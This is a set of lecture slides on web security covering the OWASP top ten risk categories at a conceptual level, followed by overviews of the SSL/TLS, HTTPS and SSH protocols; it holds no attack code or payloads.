Web Application Security

What is web security?

 Browser security
 e.g. Same Origin Policy – Isolate sites from each other, while running in the same browser
 Server app security
 Attackers can run arbitrary HTTP clients; can send anything to server
 Client app security
 Prevent user from being attacked while using web app locally
 Protect the user
 From social engineering
 From trackers, private data being leaked
Why is web security hard?

 Extremely ambitious goal – Run untrusted code securely

 Different sites interacting in the same tab ("mashups")
 Low-level features; hardware access
 Desire for high performance
 APIs were not designed from first principles; evolved
 Strict backwards compatibility requirements
 "Don't break the web"
The browser has a seemingly impossible task

 Sites – even malicious ones – can:

 Download content from anywhere
 Spawn worker processes
 Open sockets to a server, or even to another user's browser
 Display media in a huge number of formats
 Run custom code on the GPU
 Save/read data from the filesystem
1. Injection

 Injection flaws, such as SQL, NoSQL, OS, and LDAP injection, occur when untrusted
data is sent to an interpreter as part of a command or query.
 The attacker’s hostile data can trick the interpreter into executing unintended commands
or accessing data without proper authorization.
2. Broken Authenitcation

 Application functions related to authentication and session management are often

implemented incorrectly,
 allowing attackers to compromise passwords, keys, or session tokens, or
 to exploit other implementation flaws to assume other users’ identities temporarily or
permanently.
3. Sensitive Data Exposure

 Many web applications and APIs do not properly protect sensitive data, such as financial,
healthcare, and PII.
 Attackers may steal or modify such weakly protected data to conduct credit card fraud,
identity theft, or other crimes.
 Sensitive data may be compromised without extra protection,
 such as encryption at rest or in transit,
 requires special precautions when exchanged with the browser.
4.XML External Entities (XXE)

 Many older or poorly configured XML processors evaluate external entity references
within XML documents.
 External entities can be used to disclose internal files using
 the file URI handler,
 internal file shares,
 internal port scanning,
 remote code execution, and
 denial of service attacks.
5.Broken Access Control

 Restrictions on what authenticated users are allowed to do are often not properly
enforced.
 Attackers can exploit these flaws to access
 unauthorized functionality and/or data,
 access other users’ accounts,
 view sensitive files,
 modify other users’ data,
 change access rights, etc.
6.Security Misconfiguration

 the most commonly seen issue.

 commonly a result of
 insecure default configurations,
 incomplete or ad hoc configurations,
 open cloud storage,
 misconfigured HTTP headers, and
 verbose error messages containing sensitive information.
 all operating systems, frameworks, libraries, and applications be securely configured, but
they must be patched/upgraded in a timely fashion.
7.Cross-Site Scripting (XSS)

 occur whenever an application includes

 untrusted data in a new web page without proper validation or escaping,
 updates an existing web page with user-supplied data using a browser API that can create HTML
or JavaScript.
 XSS allows attackers to execute scripts in the victim’s browser which can hijack
 user sessions,
 deface web sites, or
 redirect the user to malicious sites.
8.Insecure Deserialization

 often leads to remote code execution.

 can be used to perform attacks,
 including replay attacks,
 injection attacks, and
 privilege escalation attacks.
9. Using Components with Known
Vulnerabilities

 Components, such as libraries, frameworks, and other software modules, run with the
same privileges as the application.
 a vulnerable component can be exploited
 such an attack can facilitate serious data loss or server takeover
 Applications and APIs using components with known vulnerabilities may
 undermine application defenses and
 enable various attacks and impacts
10. Insufficient logging and monitoring

 coupled with missing or ineffective integration with incident response

 allows attackers to further attack systems,
 maintain persistence,
 pivot to more systems,
 tamper, extract, or destroy data.
 studies show time to detect a breach is over 200 days,
 typically detected by external parties rather than internal processes or monitoring.
Web Security

 Web now widely used by business, government, individuals

 but Internet & Web are vulnerable
 have a variety of threats
 integrity
 confidentiality
 denial of service
 authentication
 need added security mechanisms
Web Traffic Security Approaches
SSL (Secure Socket Layer)

 transport layer security service

 originally developed by Netscape
 version 3 designed with public input
 subsequently became Internet standard known as TLS (Transport Layer Security)
 uses TCP to provide a reliable end-to-end service
 SSL has two layers of protocols
SSL Architecture
SSL Architecture

 SSL connection
 a transient, peer-to-peer, communications link
 associated with 1 SSL session
 SSL session
 an association between client & server
 created by the Handshake Protocol
 define a set of cryptographic parameters
 may be shared by multiple SSL connections
SSL Record Protocol Services

 confidentiality
 using symmetric encryption with a shared secret key defined by Handshake Protocol
 AES, IDEA, RC2-40, DES-40, DES, 3DES, Fortezza, RC4-40, RC4-128
 message is compressed before encryption
 message integrity
 using a MAC with shared secret key
 similar to HMAC but with different padding
SSL Record Protocol Operation
SSL Change Cipher Spec Protocol

 one of 3 SSL specific protocols which use the SSL Record protocol
 a single message
 causes pending state to become current
 hence updating the cipher suite in use
SSL Alert Protocol

 conveys SSL-related alerts to peer entity

 severity
 warning or fatal

 specific alert
 fatal: unexpected message, bad record mac, decompression failure, handshake failure, illegal
parameter
 warning: close notify, no certificate, bad certificate, unsupported certificate, certificate revoked,
certificate expired, certificate unknown

 compressed & encrypted like all SSL data

 SSL Handshake Protocol

 allows server & client to:

 authenticate each other
 to negotiate encryption & MAC algorithms
 to negotiate cryptographic keys to be used
 comprises a series of messages in phases
1. Establish Security Capabilities
2. Server Authentication and Key Exchange
3. Client Authentication and Key Exchange
4. Finish
SSL Handshake
Protocol
Cryptographic Computations

 master secret creation

 a one-time 48-byte value
 generated using secure key exchange (RSA / Diffie-Hellman) and then hashing info
 generation of cryptographic parameters
 client write MAC secret, a server write MAC secret, a client write key, a server write key,
a client write IV, and a server write IV
 generated by hashing master secret
TLS (Transport Layer Security)

 IETF standard RFC 2246 similar to SSLv3

 with minor differences
 in record format version number
 uses HMAC for MAC
 a pseudo-random function expands secrets
 based on HMAC using SHA-1 or MD5
 has additional alert codes
 some changes in supported ciphers
 changes in certificate types & negotiations
 changes in crypto computations & padding
HTTPS

 HTTPS (HTTP over SSL)

 combination of HTTP & SSL/TLS to secure communications between browser & server
 documented in RFC2818
 no fundamental change using either SSL or TLS

 use https:// URL rather than http://

 and port 443 rather than 80
 encrypts
 URL, document contents, form data, cookies, HTTP headers
HTTPS Use

 connection initiation
 TLS handshake then HTTP request(s)
 connection closure
 have “Connection: close” in HTTP record
 TLS level exchange close_notify alerts
 can then close TCP connection
 must handle TCP close before alert exchange sent or completed
Secure Shell (SSH)

 protocol for secure network communications

 designed to be simple & inexpensive
 SSH1 provided secure remote logon facility
 replace TELNET & other insecure schemes
 also has more general client/server capability
 SSH2 fixes a number of security flaws
 documented in RFCs 4250 through 4254
 SSH clients & servers are widely available
 method of choice for remote login/ X tunnels
SSH Protocol Stack
SSH Transport Layer Protocol

 server authentication occurs at transport layer, based on server/host key pair(s)

 server authentication requires clients to know host keys in advance
 packet exchange
 establish TCP connection
 can then exchange data
 identification string exchange, algorithm negotiation, key exchange, end of key exchange,
service request
 using specified packet format
 SSH User Authentication Protocol

 authenticates client to server

 three message types:
 SSH_MSG_USERAUTH_REQUEST
 SSH_MSG_USERAUTH_FAILURE
 SSH_MSG_USERAUTH_SUCCESS
 authentication methods used
 public-key, password, host-based
 SSH Connection Protocol

 runs on SSH Transport Layer Protocol

 assumes secure authentication connection
 used for multiple logical channels
 SSH communications use separate channels
 either side can open with unique id number
 flow controlled
 have three stages:
 opening a channel, data transfer, closing a channel
 four types:
 session, x11, forwarded-tcpip, direct-tcpip.
SSH Connection
Protocol
Exchange
Port Forwarding

 convert insecure TCP connection into a secure SSH connection

 SSH Transport Layer Protocol establishes a TCP connection between SSH client & server
 client traffic redirected to local SSH, travels via tunnel, then remote SSH delivers to
server
 supports two types of port forwarding
 local forwarding – hijacks selected traffic
 remote forwarding – client acts for server